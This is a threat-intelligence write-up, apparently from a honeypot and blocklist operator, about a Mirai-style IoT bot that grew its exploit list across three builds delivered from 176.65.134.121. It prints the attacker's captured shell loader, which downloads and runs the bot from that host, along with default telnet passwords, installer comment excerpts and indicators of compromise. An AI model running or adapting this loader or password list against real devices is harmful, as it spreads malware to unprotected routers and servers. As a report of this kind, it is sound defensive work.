The address
176.65.134.121, in AS51396, opened 28 telnet sessions against the decoy between 22 and 25 September. Most come in pairs: one session works through a short list of default passwords (admin, root, vizxv, xc3511, the old Mirai list), and seconds later a second session logs in and runs the loader:
m=$(uname -m 2>/dev/null)
case $m in arm*) m=arm;; aarch64*) m=aarch64;; mips*el*) m=mipsel;;
mips*) m=mips;; i*86*|x86*) m=x86_64;; *) m=arm;; esac
(wget -q http://176.65.134.121:7402/bot.$m -O /tmp/.z 2>/dev/null || wget -q … ) \
&& chmod +x /tmp/.z && (/tmp/.z 176.65.134.121 176.65.134.121 >/dev/null 2>&1 &)
Map the CPU to one of five builds, download it from the same address, run it in the background with the server's address as its arguments. The port changes from session to session: 7358, 7362, 7402, 7408, 7414.
Broken in production
Three of the sessions, on 23 and 24 September, shipped a URL that cannot work:
wget -q http://176.65.134.121:6933PROXYONUPDATE:7384/bot.$m -O /tmp/.z /tmp/.z 176.65.134.121 176.65.134.121:6933PROXYONUPDATE
PROXYON and UPDATE both appear in the bot's own strings as command words. A configuration value with two commands glued onto it ended up in the download URL and in the bot's arguments. Between the broken sessions, working ones kept arriving, so the operator's tooling was half broken for at least fifteen hours.
Three other sessions, each within a minute of a loader run, did one thing: echo $((41+1)). A real shell prints 42. It is a check that the thing on the other end is a shell and not a script pretending to be one.
Three builds
| Build | First seen (UTC) | Bytes | SHA-256 (first 16) | Exploits |
|---|---|---|---|---|
| 1 | 09-23 17:42 | 1,086,473 | 27645ed685e0bee8 | 3 |
| 2 | 09-24 07:30 | 1,094,650 | 9677902ccc9a8161 | 6 |
| 3 | 09-24 13:23 | 1,094,384 | 2c90f6ff65f4161a | 8 |
All three are statically linked, stripped x86-64 executables built with a Debian build of GCC 14.2.0. Builds 2 and 3 came straight from the address above. Build 1 came by another route: a session from a consumer network in Hong Kong, probably an already-infected device, ran the same loader with an empty host name (http://:7332/bot.$m) and then fell back to 176.65.134.121:8080. That fallback string, wget -q http://%s:8080/bot.%s, is compiled into the bot. The bot spreads itself, and its spreading code produced a broken URL too.
What each build added
Every exploit in the bot carries a log line in its strings, in the form [od_f5] cve-2022-1388 fired at %s:%d. The bot reports each attempt by CVE number. Comparing the three builds' strings shows the list growing:
| Bot's label | CVE | Target, per NVD | Builds |
|---|---|---|---|
archer | CVE-2023-1389 | TP-Link Archer AX21 command injection | 1, 2, 3 |
cdata | CVE-2022-26258 | D-Link DIR-820L remote command execution | 1, 2, 3 |
comtrend | CVE-2020-10173 | Comtrend VR-3033 command injection | 1, 2, 3 |
arcadyan | CVE-2021-20090 | Authentication bypass by path traversal, Buffalo WSR routers | 2, 3 |
f5 | CVE-2022-1388 | F5 BIG-IP iControl REST authentication bypass | 2, 3 |
zygate | CVE-2022-30525 | Zyxel firewall command injection | 2, 3 |
confluence | CVE-2022-26134 | Confluence Server and Data Center OGNL injection | 3 |
weblogic | CVE-2017-10271 | Oracle WebLogic Server WLS Security | 3 |
Build 2 also added default passwords, among them anko2013, changeme and telnetadmin. Build 3 added the request bodies for the Confluence and WebLogic exploits; the WebLogic one ends in the same wget … bot.$(uname -m) download as the router payloads.
None of these bugs is new. Seven of the eight are in CISA's Known Exploited Vulnerabilities catalog, and the newest is from 2023. The label for CVE-2022-26258 does not match NVD's product; I report both and do not know which is right. What the capture adds is not new exploitation but timing: an exploit list growing across three deliveries of one bot within twenty hours.
What else the strings show
- Self-update. A routine downloads a new copy beside the running one, compares the two with
cmp, and if they differ swaps them and re-executes. That is how a build can be replaced as fast as this one was. - Rivals. A list of paths other botnets use:
/tmp/mirai,/tmp/gafgyt,/tmp/bashlite,/tmp/droze. What it does with them cannot be read from strings alone. Removing competitors is the usual reason to carry such a list. - Router payloads. UPnP SOAP bodies and diagnostic-page parameters with commands injected into them, each fetching the next stage from the same server.
Next door
On 6 October a neighbouring address in the same /24 logged in and ran a 2,786-byte installer called agent_i.sh. Unlike anything else in these captures, it is commented, and the comments read like an engineer's notes:
# Design rules learned live: # - one download attempt per arch (multi-retry x 8 arches = 100MB = hang) # - no $(...|head) pipelines (busy shells deadlock on them) # - exec test proves the arch; no od/tr/file dependency
It tries up to nine architecture builds, keeps the first that answers a --selftest, and kills older copies by checking where each process's /proc/PID/exe link points, because, the comment says, the agent renames itself to [kworker/0:1-events] and a search by name cannot find it. Where there is no wget, curl or busybox, it downloads with Node.js: "node-only hosts exist (Next.js containers!)."
It ends with a proof. The controller passes two numbers, 45 and 66 in this session, and the script prints their product: "the product of the two random operands can only be printed by a shell that actually expands arithmetic. Emulators that echo script text … cannot produce it." It is the echo $((41+1)) check from September, done properly.
Same /24, same provider, the same idea for telling a shell from a fake one, but different file names (agent_ against bot.) and different paths. Whether one operator wrote both is possible and not established. The agent binaries were never captured.
What the blocklist does with it
176.65.134.121 and the neighbouring address are on the blocklist's loader tier, which lists any address that delivers a payload, with no volume floor. 176.65.134.121 is named here because its activity ran across four days and 28 sessions; the neighbour made one visit and is not.
What I can and cannot say
| Claim | Confidence |
|---|---|
| Three builds of one bot, each with more exploits | High. Same size class, same compiler, same code strings; the exploit labels differ exactly as tabled. |
| The CVE numbers are the bot's own | High. They are in its log strings. The product names come from NVD, not from the bot. |
| The bot spreads itself | Likely. Build 1 arrived through another infected-looking address using the fallback compiled into the bot. |
| The installer next door is the same operator | Possible, not established. Shared network and a shared idea are not shared authorship. |
| What the bot does once running | Not analysed. Strings show capability, not behaviour; the command protocol was not reversed. |
Remaining gaps
The other architectures. Only x86-64 builds were captured. Whether the ARM and MIPS builds carry the same exploits is unknown.
The label prefix. od_ might stand for something like "one-day". That is a guess.
The command protocol. PROXYON, PROXYOFF and UPDATE suggest the bot can be told to act as a proxy and to update itself. How it is told was not reversed.
Indicators
Build 1 27645ed685e0bee87fae24f5143cec31d8afc6765ca53e61cc3279ad8bb3a456 Build 2 9677902ccc9a816143f9b2ec697a4836feb95ae483070265f49cc215ca007c0e Build 3 2c90f6ff65f4161a1dbde8daea1e20747633245e06f3eb5c8c2e6e96cb275802 agent_i.sh 3f17516cc8a591208afb7c49e156643dee6428a238b1d50a7be0443f4a866d24 Server 176.65.134.121, ports 7358-7414 and 8080, path /bot.<arch> Files /tmp/.z, /tmp/.pz, /tmp/.upd; agent: /tmp/.g_<arch>